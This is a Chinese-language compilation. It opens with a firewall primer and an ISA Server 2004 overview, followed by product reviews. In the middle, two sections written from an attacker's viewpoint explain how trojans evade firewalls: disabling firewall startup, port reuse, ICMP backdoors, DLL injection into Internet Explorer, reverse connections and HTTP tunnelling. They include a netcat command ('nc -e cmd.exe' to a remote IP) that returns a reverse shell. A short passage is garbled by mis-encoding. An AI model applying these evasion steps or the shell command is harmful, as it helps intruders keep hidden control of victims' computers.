解读防火墙

一. 防火墙的概念
　　近年来，随着普通计算机用户群的日益增长，“防火墙”一词已经不再是服务器领域的专署，大部分家庭用户都知道为自己爱机安装各种“防火墙”软件了。但是，并不是所有用户都对“防火墙”有所了解的，一部分用户甚至认为，“防火墙”是一种软件的名称……
　　到底什么才是防火墙？它工作在什么位置，起着什么作用？查阅历史书籍可知，古代构筑和使用木制结构房屋的时候为防止火灾的发生和蔓延，人们将坚固的石块堆砌在房屋周围作为屏障，这种防护构筑物就被称为“防火墙”（FireWall）。时光飞梭，随着计算机和网络的发展，各种攻击入侵手段也相继出现了，为了保护计算机的安全，人们开发出一种能阻止计算机之间直接通信的技术，并沿用了古代类似这个功能的名字——“防火墙”技术来源于此。用专业术语来说，防火墙是一种位于两个或多个网络间，实施网络之间访问控制的组件集合。对于普通用户来说，所谓“防火墙”，指的就是一种被放置在自己的计算机与外界网络之间的防御系统，从网络发往计算机的所有数据都要经过它的判断处理后，才会决定能不能把这些数据交给计算机，一旦发现有害数据，防火墙就会拦截下来，实现了对计算机的保护功能。
　　防火墙技术从诞生开始，就在一刻不停的发展着，各种不同结构不同功能的防火墙，构筑成网络上的一道道防御大堤。


二. 防火墙的分类
　　世界上没有一种事物是唯一的，防火墙也一样，为了更有效率的对付网络上各种不同攻击手段，防火墙也派分出几种防御架构。根据物理特性，防火墙分为两大类，硬件防火墙和软件防火墙。软件防火墙是一种安装在负责内外网络转换的网关服务器或者独立的个人计算机上的特殊程序，它是以逻辑形式存在的，防火墙程序跟随系统启动，通过运行在Ring0级别的特殊驱动模块把防御机制插入系统关于网络的处理部分和网络接口设备驱动之间，形成一种逻辑上的防御体系。
　　在没有软件防火墙之前，系统和网络接口设备之间的通道是直接的，网络接口设备通过网络驱动程序接口（Network Driver Interface Specification，NDIS）把网络上传来的各种报文都忠实的交给系统处理，例如一台计算机接收到请求列出机器上所有共享资源的数据报文， NDIS直接把这个报文提交给系统，系统在处理后就会返回相应数据，在某些情况下就会造成信息泄漏。而使用软件防火墙后，尽管NDIS接收到仍然的是原封不动的数据报文，但是在提交到系统的通道上多了一层防御机制，所有数据报文都要经过这层机制根据一定的规则判断处理，只有它认为安全的数据才能到达系统，其他数据则被丢弃。因为有规则提到“列出共享资源的行为是危险的”，因此在防火墙的判断下，这个报文会被丢弃，这样一来，系统接收不到报文，则认为什么事情也没发生过，也就不会把信息泄漏出去了。
　　软件防火墙工作于系统接口与NDIS之间，用于检查过滤由NDIS发送过来的数据，在无需改动硬件的前提下便能实现一定强度的安全保障，但是由于软件防火墙自身属于运行于系统上的程序，不可避免的需要占用一部分CPU资源维持工作，而且由于数据判断处理需要一定的时间，在一些数据流量大的网络里，软件防火墙会使整个系统工作效率和数据吞吐速度下降，甚至有些软件防火墙会存在漏洞，导致有害数据可以绕过它的防御体系，给数据安全带来损失，因此，许多企业并不会考虑用软件防火墙方案作为公司网络的防御措施，而是使用看得见摸得着的硬件防火墙。
　　硬件防火墙是一种以物理形式存在的专用设备，通常架设于两个网络的驳接处，直接从网络设备上检查过滤有害的数据报文，位于防火墙设备后端的网络或者服务器接收到的是经过防火墙处理的相对安全的数据，不必另外分出CPU资源去进行基于软件架构的NDIS数据检测，可以大大提高工作效率。
　　硬件防火墙一般是通过网线连接于外部网络接口与内部服务器或企业网络之间的设备，这里又另外派分出两种结构，一种是普通硬件级别防火墙，它拥有标准计算机的硬件平台和一些功能经过简化处理的UNIX系列操作系统和防火墙软件，这种防火墙措施相当于专门拿出一台计算机安装了软件防火墙，除了不需要处理其他事务以外，它毕竟还是一般的操作系统，因此有可能会存在漏洞和不稳定因素，安全性并不能做到最好；另一种是所谓的“芯片”级硬件防火墙，它采用专门设计的硬件平台，在上面搭建的软件也是专门开发的，并非流行的操作系统，因而可以达到较好的安全性能保障。但无论是哪种硬件防火墙，管理员都可以通过计算机连接上去设置工作参数。由于硬件防火墙的主要作用是把传入的数据报文进行过滤处理后转发到位于防火墙后面的网络中，因此它自身的硬件规格也是分档次的，尽管硬件防火墙已经足以实现比较高的信息处理效率，但是在一些对数据吞吐量要求很高的网络里，档次低的防火墙仍然会形成瓶颈，所以对于一些大企业而言，芯片级的硬件防火墙才是他们的首选。
　　有人也许会这么想，既然PC架构的防火墙也不过如此，那么购买这种防火墙还不如自己找技术人员专门腾出一台计算机来做防火墙方案了。虽然这样做也是可以的，但是工作效率并不能和真正的PC架构防火墙相比，因为PC架构防火墙采用的是专门修改简化过的系统和相应防火墙程序，比一般计算机系统和软件防火墙更高度紧密集合，而且由于它的工作性质决定了它要具备非常高的稳定性、实用性和非常高的系统吞吐性能，这些要求并不是安装了多网卡的计算机就能简单替代的，因此PC架构防火墙虽然是与计算机差不多的配置，价格却相差很大。
　　现实中我们往往会发现，并非所有企业都架设了芯片级硬件防火墙，而是用PC架构防火墙甚至前面提到的计算机替代方案支撑着，为什么？这大概就是硬件防火墙最显著的缺点了：它太贵了！购进一台PC架构防火墙的成本至少都要几千元，高档次的芯片级防火墙方案更是在十万元以上，这些价格并非是小企业所能承受的，而且对于一般家庭用户而言，自己的数据和系统安全也无需专门用到一个硬件设备去保护，何况为一台防火墙投入的资金足以让用户购买更高档的电脑了，因而广大用户只要安装一种好用的软件防火墙就够了。
　　为防火墙分类的方法很多，除了从形式上把它分为软件防火墙和硬件防火墙以外，还可以从技术上分为“包过滤型”、“应用代理型”和“状态监视”三类；从结构上又分为单一主机防火墙、路由集成式防火墙和分布式防火墙三种；按工作位置分为边界防火墙、个人防火墙和混合防火墙；按防火墙性能分为百兆级防火墙和千兆级防火墙两类……虽然看似种类繁多，但这只是因为业界分类方法不同罢了，例如一台硬件防火墙就可能由于结构、数据吞吐量和工作位置而规划为“百兆级状态监视型边界防火墙”，因此这里主要介绍的是技术方面的分类，即“包过滤型”、“应用代理型”和“状态监视型”防火墙技术。
　　那么，那些所谓的“边界防火墙”、“单一主机防火墙”又是什么概念呢？所谓“边界”，就是指两个网络之间的接口处，工作于此的防火墙就被称为“边界防火墙”；与之相对的有“个人防火墙”，它们通常是基于软件的防火墙，只处理一台计算机的数据而不是整个网络的数据，现在一般家庭用户使用的软件防火墙就是这个分类了。而“单一主机防火墙”呢，就是我们最常见的一台台硬件防火墙了；一些厂商为了节约成本，直接把防火墙功能嵌进路由设备里，就形成了路由集成式防火墙……


三. 防火墙技术
　　传统意义上的防火墙技术分为三大类，“包过滤”（Packet Filtering）、“应用代理”（Application Proxy）和“状态监视”（Stateful Inspection），无论一个防火墙的实现过程多么复杂，归根结底都是在这三种技术的基础上进行功能扩展的。

1.包过滤技术
　　包过滤是最早使用的一种防火墙技术，它的第一代模型是“静态包过滤”（Static Packet Filtering），使用包过滤技术的防火墙通常工作在OSI模型中的网络层（Network Layer）上，后来发展更新的“动态包过滤”（Dynamic Packet Filtering）增加了传输层（Transport Layer），简而言之，包过滤技术工作的地方就是各种基于TCP/IP协议的数据报文进出的通道，它把这两层作为数据监控的对象，对每个数据包的头部、协议、地址、端口、类型等信息进行分析，并与预先设定好的防火墙过滤规则（Filtering Rule）进行核对，一旦发现某个包的某个或多个部分与过滤规则匹配并且条件为“阻止”的时候，这个包就会被丢弃。适当的设置过滤规则可以让防火墙工作得更安全有效，但是这种技术只能根据预设的过滤规则进行判断，一旦出现一个没有在设计人员意料之中的有害数据包请求，整个防火墙的保护就相当于摆设了。也许你会想，让用户自行添加不行吗？但是别忘了，我们要为是普通计算机用户考虑，并不是所有人都了解网络协议的，如果防火墙工具出现了过滤遗漏问题，他们只能等着被入侵了。一些公司采用定期从网络升级过滤规则的方法，这个创意固然可以方便一部分家庭用户，但是对相对比较专业的用户而言，却不见得就是好事，因为他们可能会有根据自己的机器环境设定和改动的规则，如果这个规则刚好和升级到的规则发生冲突，用户就该郁闷了，而且如果两条规则冲突了，防火墙该听谁的，会不会当场“死给你看”（崩溃）？也许就因为考虑到这些因素，至今我没见过有多少个产品会提供过滤规则更新功能的，这并不能和杀毒软件的病毒特征库升级原理相提并论。为了解决这种鱼与熊掌的问题，人们对包过滤技术进行了改进，这种改进后的技术称为“动态包过滤”（市场上存在一种“基于状态的包过滤防火墙” 技术，即Stateful-based Packet Filtering，他们其实是同一类型），与它的前辈相比，动态包过滤功能在保持着原有静态包过滤技术和过滤规则的基础上，会对已经成功与计算机连接的报文传输进行跟踪，并且判断该连接发送的数据包是否会对系统构成威胁，一旦触发其判断机制，防火墙就会自动产生新的临时过滤规则或者把已经存在的过滤规则进行修改，从而阻止该有害数据的继续传输，但是由于动态包过滤需要消耗额外的资源和时间来提取数据包内容进行判断处理，所以与静态包过滤相比，它会降低运行效率，但是静态包过滤已经几乎退出市场了，我们能选择的，大部分也只有动态包过滤防火墙了。
　　基于包过滤技术的防火墙，其缺点是很显著的：它得以进行正常工作的一切依据都在于过滤规则的实施，但是偏又不能满足建立精细规则的要求（规则数量和防火墙性能成反比），而且它只能工作于网络层和传输层，并不能判断高级协议里的数据是否有害，但是由于它廉价，容易实现，所以它依然服役在各种领域，在技术人员频繁的设置下为我们工作着。

2.应用代理技术
　　由于包过滤技术无法提供完善的数据保护措施，而且一些特殊的报文攻击仅仅使用过滤的方法并不能消除危害（如SYN攻击、ICMP洪水等），因此人们需要一种更全面的防火墙保护技术，在这样的需求背景下，采用“应用代理”（Application Proxy）技术的防火墙诞生了。我们的读者还记得“代理”的概念吗？代理服务器作为一个为用户保密或者突破访问限制的数据转发通道，在网络上应用广泛。我们都知道，一个完整的代理设备包含一个服务端和客户端，服务端接收来自用户的请求，调用自身的客户端模拟一个基于用户请求的连接到目标服务器，再把目标服务器返回的数据转发给用户，完成一次代理工作过程。那么，如果在一台代理设备的服务端和客户端之间连接一个过滤措施呢？这样的思想便造就了“应用代理” 防火墙，这种防火墙实际上就是一台小型的带有数据检测过滤功能的透明代理服务器（Transparent Proxy），但是它并不是单纯的在一个代理设备中嵌入包过滤技术，而是一种被称为“应用协议分析”（Application Protocol Analysis）的新技术。
　　“应用协议分析”技术工作在OSI模型的最高层——应用层上，在这一层里能接触到的所有数据都是最终形式，也就是说，防火墙“看到”的数据和我们看到的是一样的，而不是一个个带着地址端口协议等原始内容的数据包，因而它可以实现更高级的数据检测过程。整个代理防火墙把自身映射为一条透明线路，在用户方面和外界线路看来，它们之间的连接并没有任何阻碍，但是这个连接的数据收发实际上是经过了代理防火墙转向的，当外界数据进入代理防火墙的客户端时，“应用协议分析”模块便根据应用层协议处理这个数据，通过预置的处理规则（没错，又是规则，防火墙离不开规则）查询这个数据是否带有危害，由于这一层面对的已经不再是组合有限的报文协议，甚至可以识别类似于“GET /sql.asp?id=1 and 1”的数据内容，所以防火墙不仅能根据数据层提供的信息判断数据，更能像管理员分析服务器日志那样“看”内容辨危害。而且由于工作在应用层，防火墙还可以实现双向限制，在过滤外部网络有害数据的同时也监控着内部网络的信息，管理员可以配置防火墙实现一个身份验证和连接时限的功能，进一步防止内部网络信息泄漏的隐患。最后，由于代理防火墙采取是代理机制进行工作，内外部网络之间的通信都需先经过代理服务器审核，通过后再由代理服务器连接，根本没有给分隔在内外部网络两边的计算机直接会话的机会，可以避免入侵者使用“数据驱动”攻击方式（一种能通过包过滤技术防火墙规则的数据报文，但是当它进入计算机处理后，却变成能够修改系统设置和用户数据的恶意代码）渗透内部网络，可以说，“应用代理”是比包过滤技术更完善的防火墙技术。
　　但是，似乎任何东西都不可能逃避“墨菲定律”的规则，代理型防火墙的结构特征偏偏正是它的最大缺点，由于它是基于代理技术的，通过防火墙的每个连接都必须建立在为之创建的代理程序进程上，而代理进程自身是要消耗一定时间的，更何况代理进程里还有一套复杂的协议分析机制在同时工作，于是数据在通过代理防火墙时就不可避免的发生数据迟滞现象，换个形象的说法，每个数据连接在经过代理防火墙时都会先被请进保安室喝杯茶搜搜身再继续赶路，而保安的工作速度并不能很快。代理防火墙是以牺牲速度为代价换取了比包过滤防火墙更高的安全性能，在网络吞吐量不是很大的情况下，也许用户不会察觉到什么，然而到了数据交换频繁的时刻，代理防火墙就成了整个网络的瓶颈，而且一旦防火墙的硬件配置支撑不住高强度的数据流量而发生罢工，整个网络可能就会因此瘫痪了。所以，代理防火墙的普及范围还远远不及包过滤型防火墙，而在软件防火墙方面更是几乎没见过类似产品了——单机并不具备代理技术所需的条件，所以就目前整个庞大的软件防火墙市场来说，代理防火墙很难有立足之地。

3.状态监视技术
　　这是继“包过滤”技术和“应用代理”技术后发展的防火墙技术，它是CheckPoint技术公司在基于“包过滤”原理的“动态包过滤”技术发展而来的，与之类似的有其他厂商联合发展的“深度包检测”（Deep Packet Inspection）技术。这种防火墙技术通过一种被称为“状态监视”的模块，在不影响网络安全正常工作的前提下采用抽取相关数据的方法对网络通信的各个层次实行监测，并根据各种过滤规则作出安全决策。
　　“状态监视”（Stateful Inspection）技术在保留了对每个数据包的头部、协议、地址、端口、类型等信息进行分析的基础上，进一步发展了“会话过滤”（Session Filtering）功能，在每个连接建立时，防火墙会为这个连接构造一个会话状态，里面包含了这个连接数据包的所有信息，以后这个连接都基于这个状态信息进行，这种检测的高明之处是能对每个数据包的内容进行监视，一旦建立了一个会话状态，则此后的数据传输都要以此会话状态作为依据，例如一个连接的数据包源端口是8000，那么在以后的数据传输过程里防火墙都会审核这个包的源端口还是不是8000，否则这个数据包就被拦截，而且会话状态的保留是有时间限制的，在超时的范围内如果没有再进行数据传输，这个会话状态就会被丢弃。状态监视可以对包内容进行分析，从而摆脱了传统防火墙仅局限于几个包头部信息的检测弱点，而且这种防火墙不必开放过多端口，进一步杜绝了可能因为开放端口过多而带来的安全隐患。
　　由于状态监视技术相当于结合了包过滤技术和应用代理技术，因此是最先进的，但是由于实现技术复杂，在实际应用中还不能做到真正的完全有效的数据安全检测，而且在一般的计算机硬件系统上很难设计出基于此技术的完善防御措施（市面上大部分软件防火墙使用的其实只是包过滤技术加上一点其他新特性而已）。


四. 技术展望
　　防火墙作为维护网络安全的关键设备，在目前采用的网络安全的防范体系中，占据着举足轻重的位置。伴随计算机技术的发展和网络应用的普及，越来越多的企业与个体都遭遇到不同程度的安全难题，因此市场对防火墙的设备需求和技术要求都在不断提升，而且越来越严峻的网络安全问题也要求防火墙技术有更快的提高，否则将会在面对新一轮入侵手法时束手无策。
　　多功能、高安全性的防火墙可以让用户网络更加无忧，但前提是要确保网络的运行效率，因此在防火墙发展过程中，必须始终将高性能放在主要位置，目前各大厂商正在朝这个方向努力，而且丰富的产品功能也是用户选择防火墙的依据之一，一款完善的防火墙产品，应该包含有访问控制、网络地址转换、代理、认证、日志审计等基础功能，并拥有自己特色的安全相关技术，如规则简化方案等，明天的防火墙技术将会如何发展，让我们拭目以待。

在短短的几年里，防火墙的功能重心从网络层发展到了应用层。本文结合Microsoft ISA Server的发展，阐述了这种变迁的技术背景，以及未来的防火墙技术走向。

应用层攻击挑战传统防火墙

最近两年来，攻击者的兴趣明显从端口扫描和制造拒绝服务攻击（DoS Attack）转向了针对Web、E-mail甚至数据库等主流应用的攻击。传统的防火墙仅仅检查IP数据包的包头，而忽略了内容——如果用信件来做比喻，也就是只检查了信封而没有检查信纸。因此对这类应用层的攻击无能为力。可以说，仅仅@@第三层和第四层的IP地址和协议端口过滤的防火墙产品早已走到了尽头。

战火烧向七层

为了对抗应用层（OSI网络模型的第七层）的攻击，防火墙必须具备应用层的过滤能力，Microsoft ISA Server 2004等防火墙产品已经具备了这种能力。

如果把计算机网络比做一座建筑，传统的包过滤防火墙就是在企业内部网络和Internet之间的一系列并列的门。每道门都有安检人员对到达的包裹（IP数据包）进行逐一检查，若没有发现数据包含有异常代码便开门放行。攻击者常用的伎俩就是通过端口扫描来检查哪些门是敞开不设防的，然后加以利用。晚些时候出现的具有状态检测δ艿姆阑鹎娇梢约觳槟男┦莅抢醋訧nternet对内部网络访问请求的应答。也就是说，安检人员能够鉴别那些不请自来的包裹。

但应用层攻击就要复杂得多，因为攻击数据包在绝大多数情况下是合法的数据包，不同的只是内容具有攻击性，而且因为IP数据包是分段传输的，其内容的判别需要将所有相关的包重组后才能准确进行。一旦这种攻击数据包通过了防火墙，它们通常会开始有条不紊地利用目标系统的漏洞制造缓冲区溢出，获得系统的控制权，然后以此为平台开始寻找周围其他系统的漏洞或者其他的蠕虫留下的后门，进而展开攻击。

防火墙的对策

对此，Microsoft ISA Server 2004采取的应对措施是，针对每一类主流的应用， HTTP、SMTP、FTP和SQL Server数据库访问（基于RPC）都设置专门的过滤器，如果未来出现新的应用层威胁，还可以增加相应的过滤器。用户可以针对每一种过滤器进行应用相关的过滤设置，例如，可以通过限制任何HTTP访问请求的缓冲区不得超过3000个字节来防止一些蠕虫的攻击。在这种新的机制下，来自Internet的数据包被发送到各自的过滤器，过滤器会将数据包重组后进行内容扫描和判别。拿一封邮件来说，SMTP过滤器会等待相关的包到齐后，在转发之前重组邮件对其内容进行扫描，与已知类型的攻击进行比对，在确认这是正常流量后才允许通过。

经过正确配置的现代防火墙可以阻挡绝大多数已知的病毒邮件和攻击代码。虽然阻挡未知的病毒和攻击要困难得多，但是经过合理的策略设置通常是有效的。正确设置策略的基础是企业用户对于自身业务需求的正确理解，例如，多数企业的用户通常是没有必要通过邮件来传递可执行文件和Visual Basic脚本代码的。用户可以通过阻断含有这类可执行附件的邮件来对付一些未知的病毒。一旦真的需要发送这类文件，也可以设置更有针对性的策略，比如只允许IT部门的用户发送含有可执行文件附件邮件，或者允许用户接收除含有名为“Kournikova.jpg.vbs”的脚本附件之外的所有邮件。

安全与性能的矛盾 　

用户早已习惯于把安全性和性能看成是对立的，就像在机场的安检入口，检查的步骤越多，等待安检的队伍也就越长。对于防火墙来说，性能和安全的确是一对永远的矛盾，但是应用层过滤的功能对防火墙性能的影响并没有多数用户想象得那么大，Microsoft ISA Server 2004标称每秒钟可处理超过1000个并发用户，同时保持每会话（session）27Mbps的吞吐量。事实上，有些厂商通过硬件（ASIC）实现应用层的过滤引擎，能够达到更加接近线速(可理解为以太网交换机的处理极限)的处理能力。

新的挑战

具有应用层过滤功能的防火墙可以更有效地阻挡当前多数病毒和攻击程序，但新的安全威胁的不断出现又对防火墙提出了新的挑战。攻击的来源正在变得更加复杂，而攻击的手段也愈加高明，最近垃圾邮件与攻击代码的结合就是一个典型的例证。这一方面需要防火墙设备对于应用层的内容有更好的认知和智能判别的能力，另一方面也需要防火墙更多地与其他的安全设备和应用有效配合，从而实现更加有力的防护。

随着木马，后门的不停发展，防火墙本身也在不断地发展，这是一个矛和盾和关系，知道如何逃过防火墙对于控制一台系统是有很重大的意义的。

由于防火墙的发展，时至今天，很多防火墙都是以驱动形式加载的，核心部分是在驱动那里，保留一个界面给用户去设置，这个界面程序同时充当了桥梁作用，传统的杀防火墙进程以达到能控制到系统的方法已经是失效的了，而且这也不是一个好的方法(想想管理员发现防火墙的图标不见了会有什么反应).以下是谈谈以种方法。

前提条件:

1.你在远程系统有足够权限

2.你已从ipc或mssql或其它得到系统的权限，但因为无论用ipc还是用mssql的操作，都并不如直接得到一个cmd的Shell操作来得快和方便


方法1:不让防火墙加载自己

使用各类工具，pslist,sc.exe,reg.exe等去查找防火墙在哪里加载的，如果是在run中那加载的话，用reg.exe将其删除；如果是服务启动，用sc.exe 将服务改为手动或禁止，然后重启那系统，这样系统重启后防火墙就无法加载自己了。这种方法不让防火墙运行，比较容易被管理员发现。

方法2:强行绑入防火墙允许的端口

一台系统，如果有一些服务，如pcanywhere,sev-u,iis,mssql,mysql等的话，防火墙总要允许这些应用程序打开的端口被外界所连接的，而这些应用程序打开的端口是可以被后门或木马程序自身打开的端口重新强行绑入的。例如pcnayhwere打开端口或serv-u打开的端口都可以被重新绑入，iis和mssql等就有时可以，但有时会失败，原因不明。由于那些应用程序是得到防火墙的授权并信任的，所以后门或木马将绑口强行绑入后，是可以避开防火墙的，但这种方法对于那些比较高级的防火墙，如 Zonealarm等，还是不行的，因为Zonealarm不只是监视端口，而且监视是什么程序尝试去绑入某个端口的，如果后门没得到Zonealarm 授权的话，一样是无法绑入那个端口的。

方法3:icmp协议或自定义协议的后门或木马

对于一些防火墙是有效果的，但是如果防火墙是检测有网络连接的程序是不是防火墙信任的，那么这个方法就会失效，因为这类防火墙允不允许程序连接网络是根据用户是否让那程序连接的，而并不是单单看协议或端口。

方法4:将后门或木马插到其它进程中运行

系统中某些程序，99.9999%的用户都会允许的，象IE,如果有用户不允许IE连接网络的话，那是很稀见的。因为IE一般都是防火墙信任的应用程序，所以只要将后门程序插入到IE中运行，那么防火墙一般是不会拦的。只要防火墙允许IE连接网络，那么插入到IE中运行的后门就可以接受外界的连接了。这类后门一般是以Dl加载进去IE运行的，直接一个可执行程序将一个线程注入IE运行也可以，但远没有将DLL注入那么稳定。这种方法可以避开大部份的防火墙，但对于一些不但会检查out bound，而且会检查in bound连接的防火墙会有时失效。但总的来说，这算是一种很好和方便的方法(已经过测试).

方法5:将后门插入到IE中运行，并且使用反向连接

上面方法4已说明了IE一般是防火墙信任的应用程序，所以将后门插入到IE中运行已是一个好方法了，由于某些防火墙还会检查in bound连接(从外界连入系统的连接)，是会导致方法4失效的，因为防火墙是可能通知用户是否允许这个连接的，只要用户拒绝，那么方法4就失效了。

但如果将后门插到IE中运行，并且让后门自动向外界一个指定的IP中连接(反向连接)，这样的话，几乎99%是会成功的，因为防火墙是已允许IE向外连接的了，所以一旦后门连接上那个指定的IP，攻击者就可以得到一个cmd下的Shell.

上面所说的几种方法中，方法1,2,3应用面是很窄的，而且并不能算是一种好的方法；方法4，5是比较高级的方法，而且管理员一般很难发现(一般不会有人会怀疑自己的IE被人插入后门在运行的,相信大部份上网用户不会知道有这些方法的),而且这些方法比较难检测出来

网络不太平,谁上网都会架起个firewall来防护网络攻击
这岂不是给我们木马的生存带来了巨大挑战?
物竞天择,适者生存,嗯...要想生存下去就要穿墙! Bypass Firewall:

1.首先就是No Firewall(允许本地对外监听基本上任何端口),没有防火墙?(这不是废话?)
对付这种机器好办,随便哪个马一般都行
典型代表 Radmin(其实它不是马,用的人多了,也就变成了马,无辜)
rdp 3389/tcp (远程桌面,它也不是马,不过你不用,还有谁用呢?)

2.端口筛选(只允许外部连接特定端口,也就是外部对特定端口发起syn连接请求才被接受,从而完成三次握手,建立连接,否则防火墙丢弃数据包,无法完成握手,无法建立连接,也就是木马不能随意开个端口就监听了)
道高一尺,魔高一丈.:
你不让我连你,我就让你连我呗, 反弹端口技术诞生了(一般防火墙对本地发起的syn连接请求不会拦截)
使用工具netcat就可以穿刺这种防火墙 :
nc -e cmd.exe 远程ip 远程监听port
将会反弹一个cmdshell给远程ip主机控制,,这种方式好就好在可以控制没有公网ip的受害主机.

随后,端口复用技术也出现了,复用防火墙开放的端口:如80,21,445等
典型的后门如hkdoor,ntrookit(作者都是国人yyt_hac )
还有利用无端口协议来通信,如利用icmp报文,(Ping就是利用的ICMP协议的 Echo Request和Echo Reply探测主机存活)
典型的如pingdoor (Ping由于使用icmp报文,根本不开放端口,端口筛选也就无可奈何了,但是icmp并无差错控制,所以这种后门的传输特性也并不理想,除非自己加上差错控制)
更牛的,就是干脆抛开TCP/IP协议,木马自定义协议进行通信,你防火墙能把我怎么样?哈哈
典型的如ntrootkit采用了自定义协议技术.

3.应用程序筛选.(只允许特定程序访问网络)
木马也不甘落后,自己不能访问网络,只好寄人篱下:
进程插入技术诞生了,通常firewall都要允许iexplore.exe,explore.exe,svchost.exe,services.exe等程序访问网络,于是木马便盯上了这些程序.插入...插入再插入
现在的远程控制一般都是插入进程式,一是隐蔽(没有自己进程),二是穿墙.典型如Bits.dll(替换系统服务BITS,插入svchost.exe中) 和灰鸽子/PcShare(默认插入iexplorer.exe浏览器进程)等.

4.协议筛选.
(例如,只允许80端口通过http协议,这样那些端口复用的后门没有使用http协议,不幸被防火墙拒之门外.:-)
怎么办? 暗渡陈仓, 挖隧道: http-tunnel (http隧道)将木马通信封装成http数据报进行传输.
使用这种技术的有pcshare(使用双向http隧道传输)

5.IP过滤,一般就是化分为本机,局域网,广域网三个层次,不过木马也不是吃素的,有些木马已经开始智能化了:
比如,无法连到黑客主机或者跳板,就搜索本机的代理设置,如IE代理设置,然后代理出去!
可以想象P2P形式的马也将于不久以后成为可能,这样木马和僵尸网络的区别就更小了 呵呵

6. 现在很多防火墙都可以检测传输的敏感信息,如用户口令等,所以抗IDS,抗自动分析,这便成了高级木马需要考虑的东西,换句话说保护黑客控制的安全性和隐秘性.典型的解决方法就是采取加密措施,如最简单的对付IDS检测的方法,xor异或加密.

但是现在的防护墙肯定不是以上技术的分离,而是一定有多项技术同时采用.
同时,综合利用以上对抗技术的木马也不鲜见了.木马和防护墙 永远是一对矛盾,彼此斗争,彼此发展.呵呵

1.ZoneAlarm（ZA）——强烈推荐◆◆◆◆◆

这是Zone Labs公司推出的一款防火墙和安全防护软件套装，除了防火墙外，它包括有一些个人隐私保护工具以及弹出广告屏蔽工具。与以前的版本相比，新产品现在能够支持专家级的规则制定，它能够让高级用户全面控制网络访问权限，同时还具有一个发送邮件监视器，它将会监视每一个有可能是由于病毒导致的可疑行为，另外，它还将会对网络入侵者的行动进行汇报。除此之外，ZoneAlarm Pro 4.5还保留了前几个版本易于使用的特点，即使是刚刚出道的新手也能够很容易得就掌握它的使用。

说明：

1、安装程序会自动查找已安装的 ZoneAlarm Pro 路径。

2、如果已经安装过该语言包，再次安装前请先退出 ZA。否则安装后需要重新启动。

2、若尚未安装 ZA，在安装完 ZA 后进行设置前安装该语言包即可，这样以后的设置将为中文界面。

3、ZA 是根据当前系统的语言设置来选择相应语言包的，如果系统语言设置为英文，则不会调用中文语言包。

4、语言包不改动原版任何文件，也适用于和 4.5.594.000 相近的版本。如果需要，在卸载后可还原到英文版。

5、有极少量英文资源在语言包里没有，故无法汉化。如检查升级时的提示窗口、警报信息中的“Port”。

2.傲盾（KFW）——强烈推荐◆◆◆◆◆

本软件是具有完全知识版权的防火墙，使用了目前最先进的第三代防火墙技术《DataStream Fingerprint Inspection》数据流指纹检测技术，与企业级防火墙Check Point和Cisco相同，能够检测网络协议中所有层的状态，有效阻止DoS、DDoS等各种攻击，保护您的服务器免受来自I nternet上的黑客和入侵者的攻击、破坏。通过最先进的企业级防火墙的技术，提供各种企业级功能，功能强大、齐全，价格低廉，是目前世界上性能价格比最高的网络防火墙产品。

3.Kaspersky Anti-Hacker（KAH）——一般推荐◆◆◆◆

Kaspersky Anti-Hacker 是Kaspersky 公司出品的一款非常优秀的网络安全防火墙！和著名的杀毒软件 AVP是同一个公司的作品！保护你的电脑不被黑客攻击和入侵，全方位保护你的数据安全！所有网络资料存取的动作都会经由它对您产生提示，存取动作是否放行，都由您来决定，能够抵挡来自于内部网络或网际网络的黑客攻击！

4.BlackICE◆◆◆

该软件在九九年获得了PC Magazine 的技术卓越大奖，专家对它的评语是：“对于没有防火墙的家庭用户来说，BlackICE是一道不可缺少的防线；而对于企业网络，它又增加了一层保护措施--它并不是要取代防火墙，而是阻止企图穿过防火墙的入侵者。BlackICE集成有非常强大的检测和分析引擎，可以识别200 多种入侵技巧，给你全面的网络检测以及系统防护，它还能即时监测网络端口和协议，拦截所有可疑的网络入侵，无论黑客如何费尽心机也无法危害到你的系统。而且它还可以将查明那些试图入侵的黑客的NetBIOS(WINS)名、DNS名或是他目前所使用的IP 地址记录下来，以便你采取进一步行动。封言用过后感觉，该软件的灵敏度和准确率非常高，稳定性也相当出色，系统资源占用率极少，是每一位上网朋友的最佳选择。

新增功能：

1.在设置中增加了应用程序与通信控制的功能条

2.可控制应用程序是否在电脑上执行

3.可控制哪些应用程序能与Internet通讯

4.扫描你的系统，检测所有的系统设置改变

5.可在事件列表中记录新软件与新通讯事件的发生情况

5.Agnitum Outpost Firewall（AOFW）◆◆◆

Agnitum Outpost Firewall 是一款短小精悍的网络防火墙软件，它的功能是同类PC软件中比较强大的，甚至包括了广告和图片过滤、内容过滤、DNS缓存等功能。它能够预防来自Cookies、广告、电子邮件病毒、后门、窃密软件、解密高手、广告软件和其它 Internet 危险的威胁。该软件不需配置就可使用，这对于许多新手来说，变得很简单。尤为值得一提的是，这是市场上第一个支持插件的防火墙，这样它的功能可以很容易地进行扩展。该软件资源占用也很小。 Outpost的其它强大功能毋庸多说，你亲自试一试就知道了。

6.XELIOS Personal Firewall（XFW）◆◆

体积小巧，但功能强大的个人网络防火墙软件。能够有效的抵御黑客和木马的攻击，具有强大的自定义 IP 过滤规则功能。

7.LockDown Millennium（LDM）——一般推荐◆◆◆◆

最棒的网络安全工具！能够清除目前所有的木马，能查出未知木马，能杀邮件病毒，能防止网络炸弹攻击，能在线检测所有对本机的访问 并控制它们，能跟踪入侵者，留下它的罪证……简直就是本机防火墙，也许比它还强？

8.Intruder ALART 99——强烈推荐◆◆◆◆◆

LockDown 2000 能防黑客程序, 能防一些常规的攻击如 Ne

tBus, SubSeven... The Cleaner能清除黑客程序并阻止它的运行.但是面对新的黑客软件的现身, 如 冰河... $C (共享 C 盘等自制黑客软件) 等等... 它已经力不从心.Intruder ALART 99就防住任何对你的攻击!

9.The Cleaner◆◆

一个专门检测和清除侵入您系统中的特洛伊木马的专业程序, 内置4789个木马标识。可在线升级版本和病毒数据库, 作简单, 功能强大! 查杀的各类特洛伊木马种类最多，几乎所有较出名的这里都有，如 Netspy、BO、Netbus、 Girlfriend、Happy99、BackDoor 以及它们的一些不同版本。还有很多种我们大多数网友听都没听过，有了它我们可以将电脑“清洁”得干干净净，放心大胆地上网。

10.Kerio Personal Firewall （KFW）——一般推荐◆◆◆◆

Kerio Personal Firewall 采用了专业的防黑技术，可以确保你的计算机不被任何黑客侵扰，资源占用极少，支持 MD5 文件校验，支持远程管理。 对个人用户完全免费，商业用途则是30天试用。

11.Sygate Personal Firewall（SFW)◆◆

